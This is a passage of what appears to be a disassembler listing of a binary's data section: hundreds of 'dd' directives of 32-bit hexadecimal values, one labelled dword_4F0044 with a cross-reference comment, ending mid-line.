dd 40EE8542h, 765DCC49h, 81CD029h, 3F141C68h, 0CDEF797h dd 0A52404A5h, 548C3705h dd 0E8E99AE9h, 0B29A65Fh, 51023868h, 0EEFB9765h, 0E95F9E01h dd 0CE3F18DDh, 416817C7h, 0BB4A15A3h, 920D1644h, 95875CC8h dd 8C40A68Fh, 3515F849h, 8E2F300Eh, 5604B734h, 0C5AF64A4h dd 6600EFEEh, 5680CD81h, 0C5465022h, 2BD61ECBh, 0EE894B4Eh dd 215DDA60h, 0E91C5716h, 7D8378D4h, 13C8FD60h, 0DB191286h dd 52751F76h, 57578054h, 73ED3C68h, 0FDB56990h, 0E227AB16h dd 0C0CFD6DFh, 6C512575h, 82953BB0h, 5B1D68D5h, 41611E3Dh dd 62E919A5h, 0AAB23B5Bh, 97AF7450h, 9EFF008Bh, 537A268Eh dd 5FD96BBEh, 1027C000h, 4EADE96Fh, 5C712226h, 20B5C47Dh dd 7EBDAC34h, 0C7ED0198h, 7DC562ADh, 0A70218C7h, 0B4314469h dd 95BA6285h, 4964E009h, 4821F00Eh, 741525Eh, 3203341h dd 0A06B3B21h, 8A1C648h, 55D82B5Ah, 57AB5BF3h, 0F7BB80E1h dd 0C90F35D8h, 89FE3006h, 77ED007h, 132670Dh, 0F5EAA52Ah dd 0C4423CCFh, 4485F989h, 68AE8095h, 0FB0901AEh, 712B55E9h dd 4D34032Dh, 5DE16330h, 0EB4197E1h, 0B3676902h, 0B574722Dh dd 0F880C3E0h, 5C3A80DCh, 0D240103Dh, 1AC5680Ch, 0CC4017D1h dd 525F2654h, 37F00072h, 14BA1091h, 0EF6EC804h, 68AC5CE9h dd 497387Fh, 0EA31118Bh, 0B1C11157h, 9E17123Fh, 0B951022Eh dd 40AE4A84h, 1D5BE185h, 813CFE1Ah, 0EC0558E9h, 8FEB3036h dd 80B76698h, 0C33A233Ch, 0CE8BE84h, 1389E0C2h, 4C982216h dd 2484A514h, 420BCFDEh, 811657DAh, 0A87086FAh, 0C9B35EBFh dd 5380DD7Eh, 0F780DBB7h, 6B06C2F3h, 2441FA88h, 1BEC3FACh dd 5205FED2h, 64F33F08h, 830DCF1Eh, 283EE945h, 88501A0Eh dd 6A1357E8h, 5C5132E0h, 0EE0B46B5h, 5B60C1E9h, 0E1EF295Ah dd 7126E89h, 2C27E07h, 0EB605E09h, 5693A8F6h, 695BE9D8h dd 4ED68B68h, 7FC9A80Bh, 27C2AA93h, 409255Eh, 1AA0D41Bh dd 89D5A36Fh, 0AB465FD6h, 0C785EA4Fh, 421C29FAh, 57D303E6h dd 30FF5612h, 59D7C527h, 365753Bh, 69F972F5h, 0FC0C0164h dd 890CE354h, 0AFF96EEFh, 0A4486813h, 9E4E6051h, 55CA4DCh dd 6E23EA81h, 0B74181A8h, 1CFA0590h, 0EBD361h, 9C4F3AEh dd 0E935163Ch, 2201BFD0h, 2C1B71B5h, 0E3E9167Ah, 41EC4B5Ch dd 0B4C7CE13h, 0DE455A82h, 0B6769A11h, 10FD416Ah, 363C4279h dd 16680808h, 0B7478A0Eh, 316DA48Bh, 0ADCA4Eh, 980783BEh dd 52BFF4DAh, 50809E6Fh, 0EE160E68h, 0E9584806h, 4BF6EE0h dd 0A91261C1h, 0B93DC30Ah, 0F1C58D02h, 8432C94Bh, 5E0AB486h dd 608A0192h, 0DB293722h, 2008B441h, 0A94A9192h, 5C8F1688h dd 0A111EE47h, 0E1F26A22h, 82C74512h, 570C85E2h, 0E90CD7CDh dd 33802B74h, 0F70670EBh, 2EC7C383h, 811FAEB2h, 0BB7DE905h dd 680B00A2h, 48E63A1Ah, 0DF0EC60Bh, 95FE0Dh, 0E971414Dh dd 5EDBF231h, 0C370B936h, 0EECA0EB1h, 34DD2BBEh, 98B4A228h dd 0DB3168A9h, 20AB975h, 22C72180h, 124EA11h, 2042CF58h dd 0CA2927ABh, 0E469F52Fh, 569058D0h, 3C16BBEAh, 0F1F95C6Eh dd 4F266076h, 0A22C09EAh, 0F9BE6A50h, 91AE5812h, 477472ABh dd 6E5E9DE0h, 0DF5BB73Fh, 0EFD236E2h, 2846C018h, 197CFEAAh dd 86AD3BE9h, 2776D29h, 0E841C9EEh, 50D76077h, 40AC241Eh dd 566B05B4h, 97C0AA65h, 0E596255Ah, 1276E5F0h, 1E416730h dd 0D79F8222h, 4461317Ch, 1DF2310h, 22EF0F4Bh, 0D260575Ah dd 771D17C2h, 818FF011h, 21ECCF04h, 28EF2FD7h, 0EF00833Dh dd 13F78101h, 0EEC008C2h, 68E3C2FDh, 29461E6Dh, 5C4B7EF0h dd 23812D24h, 83053091h, 4DC10599h, 0E51E2550h, 0A106A658h dd 0E623402h, 92E2D522h, 0BB53A898h, 0A03E3B00h, 0C9FBD5Dh dd 5831E46Eh, 20177BDDh, 3A6A2F2h, 41169EEDh, 4D52095Eh dd 0C2822374h, 9446F57Ah, 934C37F0h, 4D098026h, 0C5526EE3h dd 0E5AA59ACh, 0D48FDC7Fh, 4EDCE9BFh, 945CB7ADh, 0E7CEDD52h dd 7CFBA32Fh, 4AD360C0h, 16952875h, 7F7C20EBh, 0F000594Ah dd 6AF26CCCh, 3DD40B05h, 0B5160A50h, 0BAF34895h, 92112F0h dd 0C12E0571h, 0D4AF04E2h, 0F72909F1h, 0F7F044BBh, 60484E5Dh dd 58A3042Eh, 80EC7A9Bh, 693E6C81h, 16503A0Ah, 170C6808h dd 2382C720h, 6BD051FFh, 834A827Dh, 0F0D248EEh, 60AC9C11h dd 0FDDD0E85h, 0F04118B5h, 0CDD69FBEh, 7EE40CBh, 785B2D35h dd 24DC9EEAh, 0DA93E99Fh, 25A089AEh, 18AC863h, 888CC0BDh dd 24A9B4Fh, 1EC212E4h, 3FB08043h, 0F7242B57h, 0B201BBDEh dd 46499D20h, 26612ACh, 24592685h, 0CCE9AD40h, 47C52D18h dd 0ECEF10Eh, 31B6A58Ah, 6969B9B4h, 7EA91701h, 14AA4290h dd 0D988A9C8h, 0CC5A18B8h, 590FB2ECh, 0A677D2F6h, 52500F36h dd 0A4DD6F51h, 3BEC59EEh, 3BD1E9A1h, 0E4DF4A1Ch, 0A55012BCh dd 0B34427D1h, 4811A93Eh, 90497A41h, 165C4C59h, 5B36EE5h dd 0AFF43E26h, 688B87E5h, 0E9B62189h, 746A19A0h, 91870C25h dd 0A6982C16h, 0C863272Dh, 9CD6CB92h, 3FE3ED75h, 50C3036h dd 73BF0E64h, 0EEAEE029h, 3C68D109h, 0A080544Fh, 8E92C08h dd 1416BCB1h, 826E3763h, 98571588h, 0C06AAE36h, 6B79BB8Dh dd 7E9D5C97h, 57DC8045h, 0ACE9660Dh, 0EF8A724Eh, 588A6F10h dd 18E83CDDh, 0BECEB13Ah, 8F7100BBh, 0EEC14666h, 0D6583102h dd 0BF086A67h, 0D40DE906h, 1B0123Ch, 1099E828h, 385C97CDh dd 5612A314h, 40526E8Bh, 40B4EF27h, 6F6A68A4h, 994A8F02h dd 0E55769DAh, 1528805Fh, 0D82934B3h, 40C95B79h, 0E05F4641h dd 0E9BAA840h, 0BD424C33h, 0B02DEAD3h, 2C3D843Eh, 0C54BDDF9h dd 2F220239h, 7CBDEF00h, 0DF01616Eh, 4E0EB290h, 9F6A4623h dd 9A8E6C1h, 0E23B2C52h, 98D4814h, 6240B634h, 207EECFAh dd 0BF0620EFh, 0DB76F17h, 0F058EE64h, 0BF429550h, 0F1264BDFh dd 0B07E3F37h, 0D4126A5Ch, 5AAD5309h, 295D2F7Fh, 0E9428CDCh dd 0FD1BEA05h, 0CB5000E9h, 3ADB22D9h, 0F18BA4F2h, 0AEA8C884h dd 9E9720B3h, 0EEAC1C8Bh, 4C365F2Fh, 0E416234Bh, 0A8F235FDh dd 0FE25DE54h, 2350086h, 299A7E77h, 1036C348h, 572FA774h dd 4A7B145Dh, 850A167Ch, 87880E16h, 5D61AFB2h, 48289FE9h dd 4535FF5Ah, 53D585BFh, 553DA00Ah, 39EEA44Eh, 0FE2E205Bh dd 0A32A5F81h, 99FDD258h, 7A776882h, 0BD98D566h, 7FC19220h dd 39172D66h, 31082DD1h, 2962ADEFh, 0E180485Fh, 43519159h dd 0EFB56850h, 25920010h, 0BE0C80F5h, 4FEA7BFBh, 70B3975Bh dd 9B78DBAh, 0CE9F30Ah, 0E6A44851h, 0FD2D6E1Ch, 0AEC52616h dd 0A6BACAB3h, 7DE98264h, 95E646E0h, 5F43E6DEh, 0EA3103C8h dd 7B910A13h, 32B9BDD9h, 359CC450h, 4854510Bh, 0F3E2D1C7h dd 2607C487h, 44C93AD9h, 68DD9042h, 0D99F01F9h, 2A29A6C8h dd 0D3292DF6h, 3371A9F4h, 65A22B88h, 5296D7A5h, 73C7FC7Dh dd 4A82C389h, 25A95DAFh, 0AE09CF89h, 5001AA82h, 7C521142h dd 0EC0234BEh, 80065A58h, 4565C008h, 202FB061h, 60FDA17Fh dd 0DF3D272Eh, 700EA56Bh, 1736B59Dh, 0D024E91Ah, 3AD14368h dd 0E9D05204h, 5285FC5Ah, 4694B176h, 60212317h, 59119358h dd 0F9E9070Bh, 55681812h, 1F623168h, 6B8A146Bh, 9EE07E89h dd 7F30BDB8h, 3325B92Dh, 512C783Ah, 0E27A0705h, 6DCD15DCh dd 0BEE13D5h, 17C0B1A8h, 0F6C3CA80h, 5FADA4Ah, 0FBD8C2DBh dd 4C051FD5h, 0FCDD5FB3h, 0C39E9C29h, 3F064D2Bh, 2E8C0C04h dd 0D4AF5602h, 0AF08161Ah dd 0AF207D00h, 92C1E934h, 0FA211F98h, 47A4BC5Fh, 0B781A704h dd 0E4E80D46h, 0AAA0D109h, 0C180D8BEh, 0E7E7A0EFh, 433F1452h dd 1F77CC29h, 11A833Dh, 19B96EF7h, 12A03EC1h, 0A3805B54h dd 4D644CCEh, 2F220411h, 8CC00FAFh, 5B0972CAh, 0E519003Ch dd 2ABE0A9Dh, 7704F095h, 20060411h, 1CFA9E9h, 3A37B52Dh dd 524B1820h, 0BB96F757h, 1BF06FCCh, 1B17EEE9h, 9F32F6B1h dd 71C04347h, 0D44052Ch, 790F7546h, 0FAD5788Bh, 72B0B8D8h dd 36C69DB5h, 9ABFFEF2h, 819700C8h, 98193569h, 3AEC03ECh dd 0D50117C5h, 108DC41h, 2EF7F5A3h, 0C46C191h, 0A19BB207h dd 92E7977h, 925F183Bh, 27765E96h, 257F9677h, 8FFC797Dh dd 52B2DC7Ah, 676AE75Eh, 221CF7AFh, 0AE88AB9Bh, 0D52803BBh dd 30895A66h, 0A6063FEEh, 0ED5D2914h, 0F00401FDh, 902E6879h dd 0AC2E93Ch, 5616FD51h, 819520h, 0B8505652h, 0F9E5AF6h dd 450EBE0Eh, 0C63161B0h, 0FA25C0E9h, 48E3807Eh, 6600E125h dd 0D3354201h, 1727F674h, 8D8126E9h, 0F45D346Fh, 0B2A1A2B2h dd 76AD2006h, 68AABAB5h, 95A7CA43h, 51975BEEh, 5EF3420Dh dd 0AD256775h, 0E91E5F7Bh, 8DF985D6h, 0B2E2387h, 0DDDA3ADDh dd 0DE097FDBh, 529E75BEh, 6038AA0Bh, 0C6C18047h, 4C4F02EBh dd 5C0D7F1h, 528E362Bh, 68611999h, 0CC2F615Fh, 6A160522h dd 0B7B24225h, 3B666510h, 8B323DBDh, 8CFD877Fh, 5CC108CBh dd 0D516D2EDh, 0EEAA0945h, 25D2447Dh, 0BF7E56EBh, 50222E7Bh dd 0A6E9C213h, 963A8CD6h, 88EFA016h, 3D9232A2h, 27B35EBFh dd 2BDC6742h, 0E219D002h, 23F2C07Ch, 310CC2C5h, 0D8755EF0h dd 0CD2620AAh, 3B2E68ECh, 696504h, 4342D6F1h, 5C5D5823h dd 99E3912Ch, 0A657FE58h, 330F6F93h, 6B0C0F20h, 0F679F03Ch dd 0C6539DEEh, 5A8E5649h, 68F0AB5Ch, 0B3724EBCh, 187E7922h dd 0E977830Bh, 8873400Bh, 0B0EAE4FDh, 45A62E9Dh, 0FC9F453Fh dd 45F8912h, 0EF1603C3h, 0F7582A0Eh, 57557831h, 40F62D20h dd 0D1075A94h, 535D05E8h, 1AF81114h, 0C5310978h, 10DE670Fh dd 59CD8901h, 5DCC555Eh, 0D9F70449h, 0B8353F68h, 954BC03Ch dd 2DE9E30Ah, 73A0DF38h, 51B1AF2h, 5B45515Ch, 82B363B0h dd 0B0F28D7Ah, 0DE2DF2BCh, 3E978FBh, 0F5C8D154h, 0A405793Ch dd 0B61D024Fh, 0D02D9ACBh, 0B2F89F2Dh, 498A1726h, 4ADE0642h dd 4FDC632Dh, 1329AE0Ah, 4128A660h, 0B91460D9h, 0D8796D64h dd 0BA5F87ACh, 1E7CE066h, 0AD173E15h, 87F6B409h, 87D2E125h dd 6F835FE6h, 4B13568Bh, 0CAEE9EA9h, 6EB44ADAh, 169D2768h dd 45F46A99h, 0CCB00BC3h, 7820082Ah, 5DD0C9E9h, 47F512FFh dd 7A341692h, 67C5055Fh, 80332D09h, 0FE3C6EAFh, 3576558h dd 0E7EED959h, 0F55D9A29h, 0D0955F8h, 0E2B7148Fh, 5B0F7FB8h dd 0D2EC12CBh, 0C511FC9Fh, 4778BC33h, 2BFD5FAFh, 2FA521D6h dd 0AD309460h, 0FCDF2FB5h, 0E2FD720Bh, 41B472F0h, 0F4B06FE3h dd 0EC314A80h, 0ECA1936Bh, 0AA8CCD00h, 0BF646BF2h, 39214D78h dd 7F1925F6h, 0AB6800C1h, 60AE9C7Ah, 460B6C6Dh, 680256C1h dd 3589396Fh, 2A22B436h, 535D9DBFh, 85D72DA7h, 0F3B00388h dd 54EB0B31h, 0D94CEF21h, 0CEB4C700h, 92E9AB5Eh, 3E59B7EAh dd 0FFC4BD93h, 0E0D741FFh, 8F0F695Ah, 0E3770A0Ch, 60C8E921h dd 12DF2B3h, 0C19F723Ah, 5E28B1B1h, 0D250B803h, 0E8FB0823h dd 7EFD59E1h, 0C65882E3h, 60558316h, 0D0239105h, 0E9AF6562h dd 19F7EE2h, 0C1B5305h, 6484D41Ch, 0D8BD20F0h, 0AD078394h dd 13A21114h, 0F361049h, 28B200A4h, 0E6814D59h, 0F92F7C43h dd 83D20040h, 0BF749F6Bh, 0F09E27Ah, 141531Fh, 391DE9ADh dd 9950E23Eh, 0AD325807h, 31A8E982h, 65648D76h, 1BFE6D1h dd 0EEE5312Bh, 5CBA00B1h, 43971309h, 5514431h, 0E5D10447h dd 1E7E9280h, 31D02068h, 0E696C8B5h, 884D0485h, 0BCD2E923h dd 96E75E41h, 31400B3Bh, 9C4BF277h, 0E3BF48C5h, 87D1F448h dd 0A22E0DC1h, 9D4BDF2Eh, 68C118F8h, 306F5CEBh, 8CC2B0C6h dd 575D5140h, 0C248A656h, 3B481610h, 0E3BB104Ah, 0A15EBB4Bh dd 33568F96h, 6BC5C7C0h, 0C1363E7Fh, 2E544198h, 438D0F6h dd 556E6298h, 87D6EAC4h, 64318186h, 0ED78B17Dh, 808E125Eh dd 0E846A857h, 0CFF58A97h, 367C902h, 3546FF75h, 81BB5335h dd 0D27B88FBh, 0E19B6B54h, 0BD2FFE3Bh, 0A21A9331h, 9EFB453h dd 1F22AA46h, 80A91368h, 3B9F0086h, 4DECE60Bh, 672903D7h dd 0F53A5FE2h, 0AB07B5Ah, 1CADD237h, 8E898C6h, 10276897h dd 448D980Bh, 75719561h, 3B3302AFh, 29BAA2B8h, 7EF089F7h dd 20BAA022h, 5AB6952h, 4CBF2C1h, 0C338A4B0h, 0AECD800Ch dd 7A4BC599h, 0D8CC44E1h, 0E6782AE9h, 85C34C87h, 0A214957Ah dd 46421A2Fh, 3A10B47h, 0E03195Bh, 7D02E51Fh, 0D43B9BBFh dd 56C0F53Fh, 0BD80B5E6h, 634A1E6Ch, 0FCDB8947h, 0B0D11CD7h dd 0C9532547h, 810C1446h, 0E42E6318h, 6DBC2Dh, 411F84BEh dd 0F35C215Ah, 0FCC32F0Dh, 0F0A0287Ah, 0C2B5C244h, 0E9614D69h dd 99CCC6FAh, 25677CB7h, 1D581F33h, 90A820D9h, 5FE72A3Eh dd 55CEFD7Ch, 4756BE8Bh, 888C0278h, 0DC1686EBh, 0BBC105D4h dd 0FE7D3088h, 2FF7E10h, 77118968h, 0F3B8C006h, 0CA5984B0h dd 0D9011608h, 81F41CE9h, 70D389BFh, 24D34D4Ch, 6A1C40EBh dd 5789C1Eh, 564CEA00h, 0DA3F2D74h, 5487EF86h, 0B9B95F0Bh dd 8A02EFEh, 0C801D4B0h, 4ABC0D59h, 93701AA0h, 3C239249h dd 0C71672EEh, 2F618A87h, 0FFED091Fh, 0D1DFA760h, 125FBD80h dd 40172166h, 7ADE5FBh, 0E39862B1h, 0B7AEC500h, 56E96B87h dd 926D99B9h, 5171A42Dh, 0FA0A32B0h, 8A3B6434h, 0AC61F30Eh dd 0BC758E96h, 0DD19BBE9h, 6B590C5Dh, 0CC946CD1h, 682F203Fh dd 9ABE2986h, 5743BF62h, 622D6BA3h, 91C039FAh, 2A274641h dd 0DE5DA2C1h, 0EBF00B3h, 3700A54Ah, 67F6F781h, 2D290A6Eh dd 4C685FFBh, 51E9E168h, 3B03C88Bh, 0BA9708E2h, 90B63849h dd 184FEE3Fh, 0C28A736h, 27336ABAh, 0A9AC9654h, 9200619Ch dd 7C766449h, 9E2CF204h, 16AAB37Ah, 0A5BCA8F4h, 528130FCh dd 2C12D468h, 4325C1FDh, 0B66F28EBh, 87F50165h, 320DE9EEh dd 42C79981h, 6A5D8D3Fh, 805AFB5h, 9D214598h, 8132400Fh dd 0DD90B73Fh, 0E872822h, 126E3468h, 1A5CA7AEh, 7718DD61h dd 13C2C8A9h, 0C6137956h, 37A92B01h, 0F42A724Bh, 220DC7FAh dd 12052676h, 2794BC41h, 56506D51h, 0FE6ED742h, 0D2577AEAh dd 261A97F0h, 2878D957h, 5A79034Bh, 0D3E97B8Ch, 2C0E92BEh dd 0EB4047Eh, 0A73EDDD8h, 0BE36433h, 690C5D1Dh, 0F100257Ch dd 6EA36BC7h, 6FB83A50h, 9856651Fh, 29E904D0h, 310681BCh dd 52458C7h, 51897A3Ch, 64C90340h, 322F595Dh, 0E918E0D5h dd 1202B574h, 6A553558h, 8B76542Ah, 21F61180h, 0F924D62h dd 8585F587h, 0BEE59046h, 14276879h, 0B7005D2Bh, 8343EE7h dd 54F58F6h, 570401B6h, 0AAC7BEE9h, 4B7E988Eh, 0FE0D12D5h dd 0BA2C0300h, 1721B753h, 0AEA4EF80h, 0F6BBCCC0h, 4914DEDFh dd 8884F828h, 0CE2121C3h, 0CF5EFA23h, 65FE4A64h, 0C2F7F8F1h dd 1CCB4E9h, 0C157C0BFh, 0AC14207Eh, 69085D1Dh, 2E1BCF81h dd 188275DDh, 4C876529h, 0CC979A76h, 0AC27E7B1h, 0F084FB48h dd 2FB4FB97h, 552939EFh, 0AF592016h, 0ECAAFE74h, 589AA281h dd 0EB505018h, 0DD3F0060h dd 1C6CB833h, 0A994CDCEh, 0A7DB5E27h, 0A45BD140h, 0FDDA45B6h dd 0E952FC80h, 7392C00Ch, 2DC348DCh, 205D5693h, 693FD810h dd 0AE058146h, 1376E93Ch, 7F883087h, 40118228h, 5E51AC8h dd 0C9F5810Bh, 872C803Ah, 0D6D3F7DDh, 1D64109h, 2B823848h dd 2F537D04h, 0A032178Dh, 442CEA12h, 0C2F388A2h, 387C439Ch dd 61A095BFh, 0E9D0966Dh, 172A7EB6h, 0A374011Bh, 0C412Dh dd 0D5100808h, 0F55E6727h, 754F5991h, 65386A64h, 0C1404EE9h dd 60C8FEF2h, 0ABBCC76h, 89A5AF3Ch, 8732F574h, 835D34A9h dd 4BB0CE3Eh, 30B6E2DBh, 0CDEB75B1h, 3E5259Bh, 0CB292B76h dd 7E6F6E0Ah, 0DAF86A13h, 433DFE4Ah, 5655953Eh, 45169D72h dd 0A335AB13h, 0D9900901h, 0A87BE79Ah, 0FAD69C06h, 25BA1501h dd 0C47F1023h, 0ECC2257Bh, 987DE3h, 2D00EB73h, 0D0D1979Eh dd 9758C631h, 81032F44h, 1C66BFCEh, 60D6D223h, 0F8961052h dd 0D685B757h, 8B26FC89h, 5520424Ah, 834E4156h, 0F93F2C68h dd 492902F9h, 0FBCABF38h, 0AFF91164h, 9770757Fh, 8EB62066h dd 9AD0F64Eh, 900A31FAh, 83A9272Eh, 0C0981594h, 0E8169105h dd 0B2FE592Ch, 7515503Ch, 0FCAD344Fh, 7B4A22A6h, 0BC293B4h dword_4F0044 dd 613114B8h, 1676D04h, 4E0868ADh, 0A10BA666h, 1C804215h ; DATA XREF: ___:00437DCCo dd 9A0B92C6h, 0E6070376h, 0DA83622h, 59C3F6C5h, 6196CA7Fh dd 2E3857C7h, 8DD018CBh, 66204D7Eh, 6FB3F642h, 0BD38895h dd 5BB365CEh, 16B07469h, 975C5098h, 8A5D3962h, 0B72BE98Ch dd 0FABD4346h, 0DA51C3Bh, 0E4B18D8h, 8D2513B8h, 1211D674h dd 40ECB35Dh, 3E7028D8h, 4EFC2AE1h, 0C95C52A2h, 794087C2h dd 5088E7Fh, 0DE0B6089h, 882DBE6h, 0DCBDEBFAh, 0C04FBD60h dd 80B1B600h, 0FEB3E60Eh, 48F6A7C6h, 6601A08Eh, 7BB25253h dd 0BBEA09BAh, 81D9D788h, 66FE054Eh, 0CA27B1C1h, 7601703Dh dd 4613AB2Ah, 8692604Eh, 39830082h, 0C1018306h, 276F030Ch dd 0C7CC000Dh, 31ED1319h, 0A33544DEh, 8B25EA7Dh, 0A9D46364h dd 2FF312C0h, 0AD3B5A96h, 0E90840B9h, 0E0ABB834h, 46A6E6AFh dd 486371A3h, 794B20Bh, 232DB82Ch, 18930B88h, 0DED81BF2h dd 0D75ACA9Dh, 0AB6F6AD1h, 5EEA3A1Ah, 83E961B3h, 11417FD0h dd 259B7435h, 1349B92Eh, 28E24758h, 0A5205F78h, 270F3B66h dd 0C2074908h, 293F4895h, 2C6F80CAh, 0E91CA309h, 4CE5719h dd 0C6053CCCh, 0A8E3D3A4h, 2F6839ABh, 47F69853h, 0AABCE54h dd 0C04A5732h, 595AFA47h, 70D00E73h, 34E91607h, 850F6880h dd 91874A89h, 6BD830D7h, 0C2A4E667h, 0D0202BE1h, 162F5063h dd 0F6A24DB3h, 52E82800h, 0D7B55153h, 92BBB73Fh, 8E90D6C9h dd 4B34F00Eh, 0E5001C46h, 18037D7Eh, 4A781B1Dh, 0D206E80Ch dd 2F125ABAh, 70371364h, 0DB9C86AAh, 3D0C1FA4h, 0E45A5212h dd 460CC241h, 0C678354h, 0CA4F254Bh, 936A5ED8h, 0D61B8E3Ch dd 0F60C0B06h, 0C10E537Dh, 0BC5BD845h, 0E4991BD8h, 1C86AB2Ch dd 1231B737h, 809501F9h, 2F283CEBh, 71D64DB1h, 9CE70CCCh dd 7BB05E2Eh, 95C14EE0h, 0FB2019C3h, 2A20FFCAh, 11424E0h dd 355CE92Eh, 0DD39D5A5h, 0B7D67427h, 3381977h, 0D2F85A62h dd 0BD24AFB5h, 0E978D1EFh, 50DC64ECh, 4605E790h, 897D204Ah dd 0F0AE7F95h, 439A813Dh, 24D1882Ch, 0F12785E8h, 0C55DA5BDh dd 0BA576977h, 7E717DE2h, 6127226h, 0D8F27409h, 0EA5E4E1Ah dd 0FEF2A977h, 55185F39h, 0DFF33729h, 4CDC0C02h, 415F1B3Ah dd 0C2905634h, 3B954CACh, 28644C52h, 5D95A901h, 0EF50D49Eh dd 9E5A71CFh, 0E4E74AE8h, 873DD261h, 29F614CCh, 7CAE2A5Fh dd 52FE9BAh, 4072C491h, 0D9B521DEh, 6AF56B15h, 0A7ADC139h dd 49D84065h, 0E8CDA988h, 4EAF2D20h, 0D9EDB420h, 0E4D660E7h dd 29257B78h, 0C7C65DCBh, 1532BAFEh, 1D22C1Ah, 1680CC2h dd 8825AD3h, 34CDE9DAh, 99818E76h, 574C0506h, 0FFA056F1h dd 482D6BD9h, 0B8C36B43h, 0F829851Fh, 64EC97D3h, 56BF573Eh dd 5E855FBEh, 0B2BAE5E9h, 65F5025Dh, 55EF2E05h, 0C47D2C8Bh dd 0F0E9277Eh, 0D4BDDED8h, 0C487E4B2h, 784BABC0h, 597C2531h dd 557428EBh, 0A9AC545Ah, 6CB6BAE5h, 18E04D84h, 9DBBF7F2h dd 7B135298h, 0DD64B691h, 0D636D8EAh, 0B55FCE40h, 4BDC3880h dd 31141316h, 0C4165818h, 0BB13235Dh, 802CFE44h, 5AEDCFEEh dd 0EEBB8600h, 0F306596Ah, 0C3DDA23Bh, 0B68EEBFh, 0E40FE920h dd 0FD189AF7h, 5000B2F0h, 610D93B8h, 1891254Eh, 5C52EF2Bh dd 69316F4Bh, 9F558F68h, 2AD7D02Ah, 172DEF20h, 2520754Bh dd 970A048h, 9A4D49Dh, 0FBF1375Ah, 520E24h, 0A75771DCh dd 66639F0Ch, 0D2E90D09h, 0C0487FE5h, 8BF22Ah, 7847BAF2h dd 0D6317628h, 5E2D4799h, 16202DE2h, 2A076797h, 14A1015Bh dd 0FC5D0802h, 88A8CEE1h, 0AB0B5C12h, 2F9E7D90h, 50071C2Dh dd 0E07D4F93h, 25A65B66h, 858AD34Fh, 92F3A95Bh, 4AF798EEh dd 4F7B1810h, 801AD51h, 0E13C9AE9h, 4BD3F70Ch, 0C00444D0h dd 0DE092ABEh, 6C8F8C7h, 812B2868h, 9D3F7320h, 213F7F9h dd 0B7C914F2h, 622A7759h, 98094720h, 913D5C57h, 0F8FE124Eh dd 0FCC3F422h, 0ED331E47h, 4EFA087Ah, 6804B916h, 3EC44493h dd 0DDA9B5AEh, 4A0493DAh, 0F2233101h, 0A02BFD9Fh, 0D95A661Ah dd 0FBCA31AFh, 0CD9250A3h, 41320BF3h, 8305D07Dh, 0AA37259Bh dd 3126AFCh, 936026C2h, 66E6F86Dh, 11A42C5Ah, 48B4100Fh dd 1E7448CAh, 0F6D36191h, 0A516E6F9h, 120CB363h, 0DF4B2580h dd 0C9EDD6C7h, 8351D2F6h, 6B94F806h, 5259D724h, 2DE6A93Eh dd 919CF75Ch, 4589664Eh, 5985D26Ah, 0C17645DDh, 80BEDFE9h dd 61CA8133h, 0B81AC70Ah, 36618DDh, 14EB446Eh, 0C0D75025h dd 790ECBCAh, 0F301204Ch, 0BD008B5h, 17829428h, 291FFFE5h dd 0F135E9C4h, 680935E2h, 14F776D9h, 0FD672E59h, 8EFB888Bh dd 72C45E1Ah, 78FEF9F4h, 0C271A2E2h, 29C5075h, 8DA7E171h dd 6465D829h, 0B7AA68A5h, 833F9667h, 50832272h, 0C371C6D9h dd 7539EB85h, 1F8A03Fh, 7BE9F516h, 9BFDBE0h, 6DE723AEh dd 7C28550h, 7DCE58E9h, 8D9038D2h, 2F054600h, 0A02D405Dh dd 154C2D54h, 0CA89C4FEh, 8135F659h, 5D0F41EDh, 8B469271h dd 0A25867FAh, 0ABDF1AD8h, 0E72CF5EDh, 7812CE36h, 3507771Eh dd 0D324CFAh, 75E90209h, 29ECEE70h, 25F0EF58h, 7E952047h dd 0B463DA67h, 0D708A0A4h, 0DD49AB1Ch, 425E5959h, 977053E9h dd 0D0327C9Dh, 1AB5D9FDh, 4C84B95Dh, 81CAF27Ch, 0AABE80F9h dd 4645282Ah, 0FA1612B0h, 350ED302h, 0F6F9D28Eh, 9175DF04h dd 0CCC5BE28h, 9D582BE8h, 0B1305301h, 40D50113h, 454E5A8h dd 1704A148h, 8E1050EDh, 1D9413A4h, 0BBE451B9h, 20C4CBF3h dd 84D5F9ABh, 2DFB2B7Bh, 35AC2FE5h, 0D2F3AF92h, 0B1B0A84Fh dd 138EB54Bh, 39125AF3h, 2CE8C061h, 95EC4750h, 23FBD64Bh dd 64D1305Ch, 85292F8Dh, 0BA79D43Ah, 95074166h, 68C124D4h dd 6C330B09h, 0C56BF4Ah, 0C6B08B3h, 8E506CDFh, 0B3BB046Ah dd 806A967Eh, 7C45AECEh, 74C5055Ch, 0C6885782h, 7AF702D3h dd 0F95D52AEh, 3C848B4Eh, 2FE02C11h, 207E37F3h, 0C05BAFD5h dd 9C52A8F0h, 4B61225h, 169D1A16h, 96321DEEh, 6C46FB33h dd 2D38B6ADh, 425A18B8h, 733B159h, 0EA04D8F6h, 0D48D2F92h dd 0A22667E5h, 748A7BEh, 42120BF5h, 96A01D98h, 6AC70993h dd 2484523Eh, 5ADCFC10h, 6B896DFAh, 609E01D8h, 0A3C75D27h dd 531F7164h, 9D4B515Dh, 0BDD52221h, 2EC4CC23h, 0BC245B0Eh dd 0E517E8BCh, 2C9540D1h, 0C9B25207h, 0EDF28013h, 97CCC1AEh dd 0C5EE07F4h, 29AE2677h, 9C00FE36h, 0BD8C3FE9h, 20CA4E76h dd 610BE84Bh, 0C22B82F5h, 88532DC8h, 0F63D5BECh, 12CE3CDEh dd 0DBB107E9h, 500B679h, 9D8DE3F3h, 0C309BD55h, 390848h dd 137F7505h, 29E91564h, 0D0259099h, 3BF0BEEEh, 19265181h dd 4F1D4C60h, 8AA052D4h, 0A997055Dh, 2626002Dh, 0B73D7E5Bh dd 0E8D153E0h, 48BE2D04h, 8FF851D9h, 3320BB48h, 4977D295h dd 5B35054Eh, 0EB95B4F0h, 654C080Bh, 990C0BD9h, 6A8056C0h dd 55DB2B9Ah, 0E9171ABEh, 4284E4E2h, 0E72947F0h, 8EFAF07Fh dd 65D73B00h, 955042BEh, 1C8995A0h, 7B71EE55h, 837DDDFDh dd 3D261FE7h, 0BCEC2340h, 0FC036A92h, 0BB473752h, 0B80B5BF8h dd 5B7A2EA2h, 0CD8247A6h, 570B1560h, 1EAE9880h, 0FC25792h dd 60877E67h, 97CF2EDFh, 0B240187Eh, 70C3808Dh, 0CAD348CEh dd 0C097B875h, 0B450A80Ah, 6E4E962h, 90588CC9h, 